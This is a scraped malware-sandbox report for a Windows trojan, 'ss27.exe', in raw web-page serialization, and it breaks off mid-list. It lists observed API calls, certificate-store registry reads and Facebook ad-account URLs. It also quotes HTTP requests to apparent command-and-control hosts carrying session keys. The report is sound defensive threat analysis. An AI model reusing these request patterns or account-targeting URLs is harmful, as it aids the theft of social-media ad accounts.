Log into Facebook

26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 37:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan/Generic Sample 3d4182d4be7f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3d4182d4be7f…. Malware family: Trojan/Generic. Threat score 100/100. 2/28 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d","keywords":["Malicious","Trojan/Generic","malware analysis","sandbox report","threat intelligence","3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d"],"about":{"@type":"SoftwareApplication","name":"ss27.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan/Generic","antivirusDetections":{"malicious":2,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T522,"ss27.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001944) "ss27.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001944) "ss27.exe" called "RtlGetVersion" (UID: 00000000-00001944)28:T45c,Observed string:"GetDiskFreeSpaceA" [Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp] Observed string:"GetDiskFreeSpaceW" [Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp]29:T572,Observed string:"GetVersionExW " [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin] Observed string:"GetVersionExW " [Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp] Observed string:"GetVersionExA " [Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp]2a:T6a6,"ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT"; Key: "") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\SMARTCARDROOT"; Key: "") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\FLIGHTROOT"; Key: "") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\FLIGHTROOT\CERTIFICATES"; Key: "A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25"; Key: "BLOB") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESLASTSYNCTIME") "ss27.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESENCODEDCTL")2b:T433,"UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;" "UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;" "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" "SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0" "SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'" "SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';"2c:T57b,Observed API string: "CreateThread" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin] Observed API string: "CreateThread" [Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp] Observed API string: "CreateThread" [Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp 00000000-00001944.00000000.78582.88310000.00000004.mdmp 00000000-00001944.00000000.78582.88500000.00000040.mdmp 00000000-00001944.00000001.80504.87E10000.00000040.mdmp 00000000-00001944.00000001.80504.88310000.00000004.mdmp 00000000-00001944.00000001.80504.88500000.00000040.mdmp 00000000-00001944.00000002.82423.87E10000.00000040.mdmp 00000000-00001944.00000002.82423.88310000.00000004.mdmp 00000000-00001944.00000002.82423.88500000.00000040.mdmp]2d:T4f0,"facebook.com" (Indicator: "facebook.com") "www.facebook.com" (Indicator: "facebook.com") "youtube.com" (Indicator: "youtube") "twitter.com" (Indicator: "twitter") "netflix.com" (Indicator: "netflix.com") "www.netflix.com" (Indicator: "netflix.com") ".facebook.com" (Indicator: "facebook.com") "w.facebook.com/pages/?category=your_pages&ref=b" (Indicator: "facebook.com") "ph.facebook.com/v14.0/act_fb_uid?acce" (Indicator: "facebook.com") "https://graph.facebook.com/v14.0/" (Indicator: "facebook.com") "https://business.facebook.com/ads/manage" (Indicator: "facebook.com") "https://graph.facebook.com/v14.0/act_fb_uid?access_token=fb_ac" (Indicator: "facebook.com") ".youtube.com" (Indicator: "youtube") "star-mini.c10r.facebook.com" (Indicator: "facebook.com") "ttps://www.facebook.com/ads/manager/account_settings/account_billing" (Indicator: "facebook.com") "ttps://www.facebook.com:443" (Indicator: "facebook.com") "ttps://www.facebook.com:443/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing" (Indicator: "facebook.com") "cebhttps://www.facebook.com/" (Indicator: "facebook.com") "ttps://www.facebook.com/" (Indicator: "facebook.com") "ttps://www.facebook.com" (Indicator: "facebook.com")2e:T43d,"ss27.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "ss27.exe" trying to access non-existent file "C:\FLTLIB.DLL" "ss27.exe" trying to access non-existent file "C:\WININET.DLL" "ss27.exe" trying to access non-existent file "C:\wininet.dll" "ss27.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "ss27.exe" trying to access non-existent file "C:\iertutil.dll" "ss27.exe" trying to access non-existent file "C:\SSPICLI.DLL" "ss27.exe" trying to access non-existent file "C:\SspiCli.dll" "ss27.exe" trying to access non-existent file "C:\URLMON.DLL" "ss27.exe" trying to access non-existent file "C:\urlmon.dll" "ss27.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "ss27.exe" trying to access non-existent file "C:\BCRYPT.DLL" "ss27.exe" trying to access non-existent file "C:\bcrypt.dll" "ss27.exe" trying to access non-existent file "C:\DPAPI.DLL" "ss27.exe" trying to access non-existent file "C:\DPAPI.dll" "ss27.exe" trying to access non-existent file "C:\WINNLSRES.DLL" "ss27.exe" trying to access non-existent file "C:\winnlsres.dll"2f:T7058,Heuristic match: "bz.bbbeioaag.com" Heuristic match: "count.iiagjaggg.com" Heuristic match: "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70Host: count.iiagjaggg.com" Pattern match: "http://go.microsoft.com/fwlink/?linkid=%s&clcid=0x%x" Heuristic match: "POST /check/?sid=327643&key=5ee3bfb103f1135d13dbc3577ca20fb4 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0." Heuristic match: "POST /check/?sid=328181&key=097f790f77590177380f0528f450166c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0." Heuristic match: "POST /check/?sid=328801&key=f98ee08c6b562bad928208dd74b1c716 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0." Heuristic match: "POST /check/?sid=329373&key=09c73bfec4dc7462069fc3d6da5254e2 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0." Heuristic match: "POST /check/?sid=329947&key=f958431912b070074136d6fd8914343d HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0." Heuristic match: "POST /check/?sid=330489&key=62dc0a92a284e635eee232805f010e75 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0." Pattern match: "ioaag.com/sts/bimage.jpg" Heuristic match: "bbbeioaag.com" Heuristic match: "bbeioaag.com" Heuristic match: "z.bbbeioaag.com" Pattern match: "bz.bbbeioaag.com/sts/bimage.jpg" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Heuristic match: "ignitetv.rogers.com" Heuristic match: "bluecurvetv.shaw.ca" Heuristic match: "facebook.com" Heuristic match: "edgestoreweb.edgebrowser.microsoft-testing-falcon.io" Heuristic match: "edgestoreweb.edgebrowser.microsoft-staging-falcon.io" Heuristic match: "sling.com" Heuristic match: "tou.tv" Pattern match: "www.povarenok.ru" Pattern match: "www.axisbank.com" Heuristic match: "olxpakistan.os.tc" Pattern match: "www.instagram.com" Heuristic match: "uz.sputniknews.ru" Pattern match: "www.elimparcial.com" Pattern match: "www.sammobile.com" Pattern match: "www.facebook.com" Pattern match: "www.couponrani.com" Pattern match: "www.ecuavisa.com" Pattern match: "www.asklaila.com" Pattern match: "www.telegraphindia.com" Pattern match: "www.timesnownews.com" Pattern match: "www.estadao.com.br" Pattern match: "www.messenger.com" Heuristic match: "timesofindia.indiatimes.com" Pattern match: "www.wholesomeyum.com" Pattern match: "www.principledtechnologies.com},{applied_policy:block,domain:web.basemark.com},{applied_policy:block,domain:mozilla.github.io},{applied_policy:block,domain:html5test.com},{applied_policy:block,domain:necromanthus.com},{app" Pattern match: "www.hotstar.com,path_match:[/in/subscribe/payment/methods/dc,/in/subscribe/payment/methods/cc]},{applied_policy:ChromeUA,domain:tryca.st,path_match:[/studio,/publisher]},{applied_policy:ChromeUA,domain:astrogo.astro.com.my},{a" Pattern match: "www.caisse-epargne.fr" Heuristic match: "defenderrazor.com" Heuristic match: "img-s-msn-com.akamaized.net" Heuristic match: "free-freecell-solitaire.com" Heuristic match: "music.amazon.com.br" Heuristic match: "azurewebsites.net" Heuristic match: "googlesyndication.com" Heuristic match: "music.amazon.co.uk" Heuristic match: "music.amazon.com" Heuristic match: "music.amazon.co.jp" Heuristic match: "openidconnectweb.azurewebsites.net" Heuristic match: "music.amazon.es" Heuristic match: "music.amazon.fr" Heuristic match: "duckduckgo.com" Heuristic match: "codepen.io" Heuristic match: "2mdn.net" Heuristic match: "instagram.com" Heuristic match: "music.amazon.ca" Heuristic match: "pexels.com" Heuristic match: "music.amazon.it" Heuristic match: "music.amazon.in" Heuristic match: "azon.co" Heuristic match: "youtube.com" Heuristic match: "bing.com" Heuristic match: "office.com" Heuristic match: "svc.ms" Heuristic match: "eip.ccfsm.or.kr" Heuristic match: "tiktok.com" Heuristic match: "hbonow.com" Heuristic match: "live.co" Heuristic match: "ahoo.co" Heuristic match: "twitter.com" Heuristic match: "live.com" Heuristic match: "sapp.co" Heuristic match: "hbogo.bg" Heuristic match: "aver.co" Heuristic match: "yammer.com" Heuristic match: "hbogo.ro" Heuristic match: "outbrainimg.com" Heuristic match: "hboportugal.com" Heuristic match: "hbogo.com" Heuristic match: "sharepoint.com" Heuristic match: "wrc.t-mobile.com" Heuristic match: "go.canaldigital.se" Heuristic match: "officeapps.live.com" Heuristic match: "blog.esuteru.com" Heuristic match: "smallbusiness.yahoo.com" Heuristic match: "go.canaldigital.fi" Heuristic match: "search.naver.com" Heuristic match: "go.canaldigital.no" Heuristic match: "web.whatsapp.com" Heuristic match: "openrailwaymap.org" Heuristic match: "storage.live.com" Heuristic match: "search.yahoo.com" Heuristic match: "providerstc.hs.utah.gov" Heuristic match: "carelogin.bryantelemedicine.com" Heuristic match: "search.norton.com" Heuristic match: "elearning.seabank.com.vn" Heuristic match: "myslate.sixphrase.com" Heuristic match: "elearning.evn.com.vn" Heuristic match: "app.fields.corteva.com" Heuristic match: "virtualvisitlogin.partners.org" Heuristic match: "authoring.amirsys.com" Heuristic match: "canaldigital.dk" Heuristic match: "hbogo.cz" Heuristic match: "moneygram.com" Heuristic match: "la7.it" Heuristic match: "ide.cs50.io" Heuristic match: "bile.co" Heuristic match: "teru.co" Heuristic match: "abc.com" Heuristic match: "maxdome.de" Heuristic match: "meituan.com" Heuristic match: "applychildcaresubsidy.alberta.ca" Heuristic match: "vhx.tv" Heuristic match: "hulu.com" Heuristic match: "chat.google.com" Heuristic match: "slack.com" Heuristic match: "tv.apple.com" Heuristic match: "wechat.com" Heuristic match: "xfinity.com" Heuristic match: "qq.com" Heuristic match: "here.co" Heuristic match: "ntathome.com" Heuristic match: "nintendo.com" Heuristic match: "weixin.com" Heuristic match: "webex.com" Heuristic match: "watchtv.cox.com" Heuristic match: "wowpresentsplus.com" Heuristic match: "hangouts.google.com" Heuristic match: "criterionchannel.com" Heuristic match: "DishAnywhere.com" Heuristic match: "app.quickhelp.com" Heuristic match: "helix.videotron.com" Heuristic match: "web.basemark.com" Heuristic match: "octane.webmarks.info" Heuristic match: "octanetestapp.herokuapp.com" Heuristic match: "chromium.github.io" Heuristic match: "files.unity3d.com" Heuristic match: "browserbench.org" Pattern match: "www.principledtechnologies.com" Heuristic match: "necromanthus.com" Heuristic match: "mozilla.github.io" Heuristic match: "mark.co" Heuristic match: "thus.co" Pattern match: "www.wirple.com" Heuristic match: "wordpress.com" Heuristic match: "css3test.com" Heuristic match: "html5test.com" Heuristic match: "msn.com" Heuristic match: "netflix.com" Heuristic match: "music.amazon.de" Heuristic match: "shop.lic.co.nz" Heuristic match: "tenantev.com" Heuristic match: "bm.gzekao.cn" Heuristic match: "gooroomee.com" Heuristic match: "printful.com" Heuristic match: "rnet.co" Heuristic match: "visitnow.org" Heuristic match: "tryca.st" Heuristic match: "salud.go.cr" Pattern match: "www.hotstar.com" Heuristic match: "airbornemedia.inflightinternet.com" Heuristic match: "portal.centurylink.com" Heuristic match: "learning.chungdahm.com" Heuristic match: "app.classkick.com" Heuristic match: "exchangeservicecenter.com" Heuristic match: "elroyalecasino.com" Heuristic match: "app.houseparty.com" Heuristic match: "telehealthportal.uofuhealth.org" Heuristic match: "newstudentregistration.nmsu.edu" Heuristic match: "astrogo.astro.com.my" Heuristic match: "hanafloralpos2.com" Heuristic match: "aussieplaybonuses.com" Heuristic match: "scheduling.care.psjhealth.org" Heuristic match: "elroyalecasinobonuses.com" Heuristic match: "gsq.minornet.com" Heuristic match: "portal.greenxtrade.com" Heuristic match: "front.viewinter.ai" Heuristic match: "app.mytaxprepoffice.com" Heuristic match: "login.hourpowerpro.com" Heuristic match: "bancodeoccidente.com.co" Heuristic match: "airbornemedia.gogoinflight.com" Heuristic match: "orders.cutcoapps.com" Heuristic match: "elroyalecasinomail.com" Heuristic match: "app.pharmulary.com" Heuristic match: "tv.partner.co.il" Heuristic match: "crayondatabase.com" Heuristic match: "learn.maplesoft.com" Heuristic match: "suppliersmx.smp-automotive.com" Heuristic match: "eu.smilemate.com" Heuristic match: "aussieplaypromos.com" Heuristic match: "videochatru.com" Heuristic match: "whitehatjr.com" Heuristic match: "unacademy.com" Pattern match: "www.chess.com" Pattern match: "www.yuque.com" Heuristic match: "mazonecec.com" Heuristic match: "pixton.com" Heuristic match: "mettl.com" Heuristic match: "duolingo.com" Heuristic match: "wowow.co.jp" Heuristic match: "sankuai.com" Heuristic match: "icingimages.com" Heuristic match: "hllqp.com" Heuristic match: "chat-pt.com" Heuristic match: "cs.zaq.ne.jp" Heuristic match: "am-1.co" Heuristic match: "prezi.com" Heuristic match: "geforcenow.com" Heuristic match: "nativecamp.net" Heuristic match: "newrow.com" Heuristic match: "ome.tv" Heuristic match: "algoritmika.az" Heuristic match: "moji365.com" Heuristic match: "mate.co" Heuristic match: "hiflow.com" Heuristic match: "fansnet.jp" Heuristic match: "my.a-bly.com" Heuristic match: "richpalms.com" Heuristic match: "live.remo.co" Heuristic match: "app.evisit.com" Heuristic match: "lilyclass.com" Heuristic match: "siga.aduanas.gob.do" Pattern match: "www.skyroom.online" Heuristic match: "secure.priviahealth.com" Heuristic match: "app.jigsawinteractive.com" Heuristic match: "lacite.essentialskillsgroup.com" Heuristic match: "ykc.hanwangjiaoyu.com" Heuristic match: "yorbit.mindtree.com" Heuristic match: "prepmod.health.state.mn.us" Heuristic match: "capitaloneoffers.com" Heuristic match: "my.globaluniversity.edu" Heuristic match: "bank.dream-1.co.kr" Heuristic match: "granbluefantasy.jp" Heuristic match: "app.smarterproctoring.com" Heuristic match: "vroom.truevirtualworld.com" Pattern match: "www.flexclip.com" Pattern match: "www.filemaru.com" Heuristic match: "totale.rosettastone.com" Heuristic match: "prepmod.doh.wa.gov" Heuristic match: "live.twebcast.com" Heuristic match: "lwss.cdgdc.edu.cn" Heuristic match: "app.bookcreator.com" Heuristic match: "web.openrainbow.com" Heuristic match: "keckmedicine.org" Pattern match: "www.storyboardthat.com" Pattern match: "www.techfluency.org" Heuristic match: "kaipoke.biz" Heuristic match: "hirepro.in" Heuristic match: "smartschool.be" Heuristic match: "maru.co" Heuristic match: "bm.chsi.com.cn" Heuristic match: "talview.com" Heuristic match: "minedia.com" Pattern match: "www.amway.co.kr" Pattern match: "www.quebon.tv" Heuristic match: "vpn.zmaxis.com" Pattern match: "www.rarejob.com" Heuristic match: "socialive.us" Heuristic match: "orer.ad" Heuristic match: "player.pl" Heuristic match: "xiaomawang.com" Heuristic match: "clip.co" Pattern match: "www.valr.com" Heuristic match: "pang.co" Heuristic match: "mega.nz" Heuristic match: "mindbody.io" Heuristic match: "woots.nl" Heuristic match: "integra.co.in" Heuristic match: "axisbank.com" Pattern match: "www.jkydata.com" Heuristic match: "kakao.com" Heuristic match: "1cs.jp" Heuristic match: "dacy.co" Pattern match: "www.alarm.com" Heuristic match: "vans.co" Heuristic match: "dsp.horse24.com" Heuristic match: "yz.cainiao.com" Heuristic match: "clipchamp.com" Heuristic match: "hubgame.cn" Heuristic match: "blibee.com" Pattern match: "www.zhihu.com" Heuristic match: "order.campion.com.au" Heuristic match: "maj.leboncoin.fr" Heuristic match: "support.proxyvote.com" Heuristic match: "vaccinereg.health.nd.gov" Pattern match: "www.vaccinateri.org" Pattern match: "www.gaosiedu.com" Pattern match: "www.niubizenlinea.com.pe" Pattern match: "www.mtreadyclinic.org" Heuristic match: "myhealth.alaska.gov" Pattern match: "www.comassvax.org" Heuristic match: "syscheck.bridge.psiexams.com" Heuristic match: "power2patient.net" Heuristic match: "customs.vans.com.cn" Heuristic match: "portal.greenxtrade.cn" Pattern match: "www.marylandvax.org" Heuristic match: "coronavirus.maryland.gov" Heuristic match: "bcpzonasegurabeta.viabcp.com" Heuristic match: "lemo.share-platform.de" Heuristic match: "new.faberlic.com" Heuristic match: "vc.dial070.co.kr" Heuristic match: "siharka.menpan.go.id" Heuristic match: "kyc.icicibank.com" Heuristic match: "online.aufratenzur.bawagpsk.com" Heuristic match: "service.medicheck.se" Heuristic match: "speechtexter.com" Heuristic match: "demos.cutcoapps.com" Heuristic match: "cyedu.kead.or.kr" Heuristic match: "business.curated.com" Heuristic match: "managing.h-navi.jp" Heuristic match: "admall.youpenglai.com" Heuristic match: "provider.teladoc.com" Heuristic match: "app.axiumascend.com" Heuristic match: "learning.apaxleaders.edu.vn" Heuristic match: "microsoftnews.cn" Heuristic match: "microsoftnewskids.com" Heuristic match: "clube.dermaclub.com.br" Heuristic match: "microsoftnews.com" Heuristic match: "kealahou.cfht.hawaii.edu" Heuristic match: "platinum-options.com" Heuristic match: "microsoftnewsforkids.com" Heuristic match: "pinfrafacturacion.com.mx" Heuristic match: "sanayisicil.sanayi.gov.tr" Heuristic match: "conv.gryphondds.com" Heuristic match: "buy.icicibank.com" Pattern match: "www.protrainings.com" Heuristic match: "login.smasheducation.com" Heuristic match: "global.talk-cloud.net" Heuristic match: "rwanda.edacy.com" Heuristic match: "sigaexplorer.aduanas.gob.do" Heuristic match: "chatalternative.com" Heuristic match: "univer.kaznpu.kz" Heuristic match: "app.boardable.com" Pattern match: "www.n-gaku.ed.jp" Heuristic match: "wing.coupang.com" Heuristic match: "webinar.anymeeting.com" Heuristic match: "onlyonefoodnet.ifresh.co.kr" Heuristic match: "start.ipc.qld.edu.au" Heuristic match: "eps.jspl.com" Heuristic match: "co-verify.com" Heuristic match: "kaleoz.com" Heuristic match: "msn.cn" Heuristic match: "docs.google.com" Heuristic match: "app.showit.co" Heuristic match: "msnvideo.com" Heuristic match: "sio.men.gov.pl" Heuristic match: "xter.co" Heuristic match: "i.cqu.edu.cn" Heuristic match: "pjxt.lnen.cn" Heuristic match: "oa.imuyuan.com" Heuristic match: "msnkids.com" Heuristic match: "codelion.net" Heuristic match: "fx.dmm.com" Heuristic match: "home.ibotta.com" Heuristic match: "mentora.co" Heuristic match: "h5.hunbei.com" Heuristic match: "logon.mykpa.com" Pattern match: "www.typing.com" Heuristic match: "iedu.co" Heuristic match: "all-dream.com" Pattern match: "www.xthk.cn" Pattern match: "www.bitpaper.io" Heuristic match: "hd.kinopoisk.ru" Heuristic match: "aiosante.fr" Heuristic match: "rlic.co" Heuristic match: "tophat.com" Heuristic match: "tvthek.orf.at" Pattern match: "www.fubo.tv" Heuristic match: "vtm.be" Pattern match: "www.filmin.es" Pattern match: "www.audible.com" Pattern match: "www.glaz.tv" Pattern match: "www.horizon.tv" Pattern match: "www.hulu.com" Pattern match: "www.6play.fr" Heuristic match: "tv.yousee.dk" Heuristic match: "wink.rt.ru" Heuristic match: "voyo.nova.cz" Pattern match: "www.dazn.com" Heuristic match: "voyo.markiza.sk" Heuristic match: "watcha.com" Heuristic match: "v.ouj.ac.jp" Heuristic match: "v.youku.com" Heuristic match: "video.unext.jp" Heuristic match: "nel4.co" Heuristic match: "vod.tvp.pl" Heuristic match: "music.apple.com" Heuristic match: "msnewskids.com" Heuristic match: "abema.tv" Heuristic match: "msn-amp.com" Heuristic match: "now.dstv.com" Heuristic match: "rdic.co" Heuristic match: "msnewsmedia.com" Heuristic match: "stream.osn.com" Heuristic match: "acorn.tv" Heuristic match: "hbogo.pl" Heuristic match: "opto.sic.pt" Heuristic match: "tify.co" Heuristic match: "ctc.ru" Heuristic match: "okko.tv" Heuristic match: "play.hbomax.com" Heuristic match: "play.waipu.tv" Heuristic match: "bilibili.com" Heuristic match: "idal.co" Heuristic match: "vod.canalplus.com" Pattern match: "www.crunchyroll.com" Pattern match: "www.paramountplus.com" Pattern match: "www.tntdrama.com" Heuristic match: "videomarket.dmm.com" Heuristic match: "video.dmkt-sp.jp" Pattern match: "www.directvgo.com" Pattern match: "www.peacocktv.com" Heuristic match: "watch.spectrum.net" Pattern match: "www.primevideo.com" Pattern match: "www.atresplayer.com" Pattern match: "www.canalplus.com" Pattern match: "www.channel4.com" Pattern match: "www.hoopladigital.com" Pattern match: 